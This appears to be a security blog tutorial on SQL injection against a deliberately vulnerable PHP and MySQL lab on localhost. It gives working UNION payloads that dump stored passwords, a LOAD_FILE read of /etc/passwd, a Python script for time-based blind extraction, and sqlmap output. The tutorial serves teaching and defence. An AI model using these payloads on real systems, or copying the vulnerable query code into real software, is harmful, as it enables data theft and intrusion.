Web Application

SQL Injection

2023
bordergate

SQL Injection is one of the most common forms of web application vulnerabilities. If un-sanitised user input is appended to an SQL query, this can lead to SQL injection.

This article is just looking at standard data retrieval using UNION statements, in addition to blind timed injection.

Database Creation

Start by creating a MySQL database.

CREATE DATABASE northwind;
CREATE USER 'dbuser'@'localhost' IDENTIFIED BY 'my-strong-password'

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, INDEX, DROP, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES ON northwind.* TO 'dbuser'@'localhost';

CREATE TABLE users (
  userid int(11) NOT NULL AUTO_INCREMENT,
  username varchar(150) NOT NULL,
  password varchar(150) NOT NULL,
  PRIMARY KEY (`userid`)
);
INSERT INTO users (username,password)  VALUES ('bob','Password1');
INSERT INTO users (username,password)  VALUES ('alice','Password2');

CREATE TABLE products (
  productid int(11) NOT NULL AUTO_INCREMENT,
  productname varchar(150) NOT NULL,
  productvalue varchar(150) NOT NULL,
  PRIMARY KEY (`productid`)
);

INSERT INTO products (productname,productvalue)  VALUES ('bread','1');
INSERT INTO products (productname,productvalue)  VALUES ('milk','2');
INSERT INTO products (productname,productvalue)  VALUES ('apples','3');

Vulnerable PHP Code

Next, create a PHP file to query the database. This code is vulnerable to SQL injection since the GET parameter id is appended to the SQL query string, and no input validation is performed.

<?php
$servername = "127.0.0.1";
$username  = "dbuser";
$password  = "my-strong-password";
$dbname = "northwind";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
 die("Connection failed: " . $conn->connect_error);
}

if ( isset( $_GET['id'] ) && ! empty( $_GET['id'] ) ) {
    $sql = "SELECT productid, productname, productvalue FROM products WHERE productid like " . $_GET['id'];  
}
else{
    $sql = "SELECT productid, productname, productvalue FROM products";
}

echo "SQL Query: " . $sql . "<br><br>";

$result = $conn->query($sql);

if ($result->num_rows > 0) {

while($row = $result->fetch_assoc()) {
    echo "ID: " . $row["productid"]. " Name: " . $row["productname"]. " Value: " . $row["productvalue"]. "<br>";
}
} else {
    echo "0 results";
}

$conn->close();
?>

Use PHP to host a development server;

php -S 127.0.0.1:8000

Identifying Injection Points

First, we issue a request to the application with an added single quote;

http://127.0.0.1:8000/shop.php?id=3'

We will receive an error stating our SQL statement is incorrect;

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 in /Users/user/products.php:27 Stack trace: #0 /Users/user/products.php(27): mysqli->query('SELECT producti...') #1 {main} thrown in /Users/user/products.php on line 27

The error message reveals some useful information for an attacker.

  • The backend database engine is MySQL
  • The full file path of the affected PHP file
  • The beginning of the SQL statement that is vulnerable to injection

Different database engines and programming languages may show similar information.

If the application has error handling code for failed SQL statements, you will likely not receive detailed error messages. In the below code, we’re just wrapping the SQL statement in a try/catch block.

try {

    $result = $conn->query($sql);

    if ($result->num_rows > 0) {

    while($row = $result->fetch_assoc()) {
        echo "ID: " . $row["productid"]. " Name: " . $row["productname"]. " Value: " . $row["productvalue"]. "<br>";
    }
    } else {
        echo "0 results";
    }

    }
catch (Exception $e)
{
    echo "An error occurred!";
}

Due to the error handling in place, you will no longer receive a detailed error message. However, the application will respond with a generic error message if SQL statements are added to the query string.

So, we can infer by entering a single quote character and the application responding with an error message it may be vulnerable to injection.

UNION Injection

To extract data from another table that is stored in MySQL, we need to perform some queries to understand the structure of the data.

Determine the Number of Columns

Since it’s likely the application is vulnerable to injection, our next step would be to determine the number of columns in use.

We can issue a UNION select statement to find the number of columns in the existing query. A UNION statement concatenates the results from two tables, however the number of columns must match. Instead of selecting another table, we can just use arbitrary numbers to represent columns in another table.

http://127.0.0.1:8000/products.php?id=1 UNION SELECT 1,2,3,4 -- // Results in error message
http://127.0.0.1:8000/products.php?id=1 UNION SELECT 1,2,3 --   // Results returned
http://127.0.0.1:8000/products.php?id=1 UNION SELECT 1,2 --     // Results in error message
http://127.0.0.1:8000/products.php?id=1 UNION SELECT 1 --       // Results in error message

The resulting SQL query being performed on the backend database would be;

SELECT productid, productname, productvalue FROM products WHERE productid like 1 UNION SELECT 1,2,3--

So we know there are three columns in the existing database SELECT statement.

Note, that these queries are ending in a MySQL comment characters “–“. This isn’t strictly necessary, as our parameter is being appended to the end of the SQL query. However, if our parameter was injected into the middle of a query string this would help ensure the remaining query statements don’t take effect.

Determining Table Names

Since our objective is to query information in another database table, we need to find all the table names in use. In MySQL the information_schema database holds metadata information on databases. We can perform another UNION SELECT statement to query tables containing database names and associated columns;

http://127.0.0.1:8000/products.php?id=1 UNION SELECT table_schema,table_name,3 FROM%20information_schema.tables --

This would result in the following backend database query;

SELECT productid, productname, productvalue FROM products WHERE productid like 1 UNION SELECT table_schema,table_name,3 FROM information_schema.tables --

This will print out a list of table names, including the built in information_schema and performance_schema.

In amongst these entries, we should see the database we created; northwind, and it’s two associated tables; products and users.

ID: information_schema Name: USER_PRIVILEGES Value: 3
ID: information_schema Name: VIEW_ROUTINE_USAGE Value: 3
ID: information_schema Name: VIEW_TABLE_USAGE Value: 3
ID: information_schema Name: VIEWS Value: 3
ID: northwind Name: products Value: 3
ID: northwind Name: users Value: 3
ID: performance_schema Name: global_status Value: 3
ID: performance_schema Name: global_variables Value: 3
ID: performance_schema Name: persisted_variables Value: 3
ID: performance_schema Name: processlist Value: 3
Determining Column Names

Now we know the target database name (users) we can find it’s columns from information_schema.columns

http://127.0.0.1:8000/products.php?id=1 UNION SELECT table_name,column_name,1 FROM information_schema.columns WHERE table_name like "users" --

Resulting SQL query;

SELECT productid, productname, productvalue FROM products WHERE productid like 1 UNION SELECT table_name, column_name, 1 FROM information_schema.columns WHERE table_name like "users" --

The output will show the column names, userid, username and password.

ID: 1 Name: bread Value: 1
ID: users Name: userid Value: 1
ID: users Name: username Value: 1
ID: users Name: password Value: 1

Extracting Data

At this point, we know the database names and their associated columns. We just need to do another UNION select statement to extract information from them;

http://127.0.0.1:8000/products.php?id=1 UNION SELECT username,password,3 FROM users --

This results in the following SQL query;

SELECT productid, productname, productvalue FROM products WHERE productid like 1 UNION SELECT username,password,3 FROM users --

The usernames and password stored in the users table would then be printed out;

ID: 1 Name: bread Value: 1
ID: bob Name: Password1 Value: 3
ID: alice Name: Password2 Value: 3

Reading Files

If the database user has FILE privileges, we may be able to read files stored on the server. To grant these privileges in a MySQL shell, execute the following commands;

MariaDB [(none)]> GRANT FILE ON *.* TO 'dbuser'@'localhost';
Query OK, 0 rows affected (0.003 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.000 sec)

We can then use the LOAD_FILE statement in our UNION SELECT to retrieve the contents of /etc/passwd;

http://127.0.0.1:8000/products.php?id=1 UNION SELECT LOAD_FILE('/etc/passwd'),2,3 --

Executing the command with curl shows the file contents being retrieved;

curl "http://127.0.0.1:8000/shop.php?id=1%20UNION%20SELECT%20LOAD_FILE(%27/etc/passwd%27),2,3%20--"
SQL Query: SELECT productid, productname, productvalue FROM products WHERE productid like 1 UNION SELECT LOAD_FILE('/etc/passwd'),2,3 --<br><br>ID: 1 Name: bread Value: 1<br>ID: root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

Blind Injection

The above technique works since the application returns results back to the user.

If we comment out the line where the result set it returned, we won’t be able to simply retrieve data in the response.

//        echo "ID: " . $row["productid"]. " Name: " . $row["productname"]. " Value: " . $row["productvalue"]. "<br>";

However, we can verify our commands are still being executed by issuing a sleep statement;

http://127.0.0.1:8000/products_blind.php?id=1 or SLEEP(5)

Input that does not include a sleep statement will return instantly, whereas a response from the sleep statement will only be returned after 5 seconds.

To extract data from the backend database, we just need to issue a set of boolean statements. For instance, to determine the MySQL version number we can issue the following queries.

http://127.0.0.1:8000/products_blind.php?id=1 AND ((substring((select/**/version()),1,1))='7' AND sleep(3))
http://127.0.0.1:8000/products_blind.php?id=1 AND ((substring((select/**/version()),1,1))='8' AND sleep(3))
http://127.0.0.1:8000/products_blind.php?id=1 AND ((substring((select/**/version()),1,1))='9' AND sleep(3))

The query containing the number eight will be delayed for three seconds, since that is the start of our version number. We can automate these types of queries using Python requests;

import requests 

def send_sqli(query_string):
    target = "http://127.0.0.1:8000/products_blind.php?id=" + query_string
    response = requests.get(target)
    return response.elapsed.total_seconds()

def query_letter(position):
    # Loop over all ascii characters
    for ascii_char in (chr(i) for i in range(32, 127)):
        query_string = "1 AND ((substring((select/**/version()),%d,1))='%c' AND sleep(4))" % (position,ascii_char)
        result = send_sqli(query_string)
        if (result > 3):
#            print(query_string)
#            print("Response time: " + str(result))
            return (str(ascii_char))
def main():
    for i in range(1,6):
        response = query_letter(i)
        print(response,flush=True,end='')

if __name__ == "__main__": 
    main()

Running the code, we can see the version number is returned.

python3 sql_injection.py
8.0.33

Automated Exploitation

SQLMap can be used to automate SQL Injection attacks.

Testing our original code with no error handling enabled shows three injection techniques are identified;

sqlmap -u "http://127.0.0.1:8000/products.php?id=1" --flush-session -p id --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.5#stable}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[19:54:49] [INFO] flushing session file
[19:54:49] [INFO] testing connection to the target URL
[19:54:49] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:54:49] [INFO] testing if the target URL content is stable
[19:54:50] [INFO] target URL content is stable
[19:54:50] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[19:54:50] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[19:54:50] [INFO] testing for SQL injection on GET parameter 'id'
[19:54:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:54:50] [WARNING] reflective value(s) found and filtering out
[19:54:50] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="bread")
[19:55:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[19:55:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:55:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:55:00] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:55:00] [INFO] target URL appears to have 3 columns in query
[19:55:00] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 4443=4443

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6361 FROM (SELECT(SLEEP(5)))sYBB)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x71787a7071,0x6566464a7975776d5854527a6a5a6d7a6367546d46626442766c53466b5061464e7a46486a7a6155,0x7171717071),NULL-- -
---
[19:55:00] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.6
back-end DBMS: MySQL >= 5.0.12

And with our code that provides no output, only blind injection is possible.

sqlmap -u "http://127.0.0.1:8000/products_blind.php?id=test" --dbms=mysql -p id --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[19:51:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: id=(CASE WHEN (6186=6186) THEN SLEEP(5) ELSE 6186 END)
---
[19:51:32] [INFO] testing MySQL
[19:51:32] [INFO] confirming MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[19:51:48] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[19:52:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.6
back-end DBMS: MySQL >= 8.0.0

In Conclusion

This article demonstrates basic UNION and blind injection techniques.

Using prepared statements and parameterized queries is recommended to prevent injection. In MySQL this can be implemented with; mysqli_execute_query.

Related Posts

Web Application

Command Injection

2024
bordergate
Web Application

File Upload Vulnerabilities

2023
bordergate
Web Application

XML External Entity Injection (XXE)

2023
bordergate
Web Application

Web Content Discovery

2023
bordergate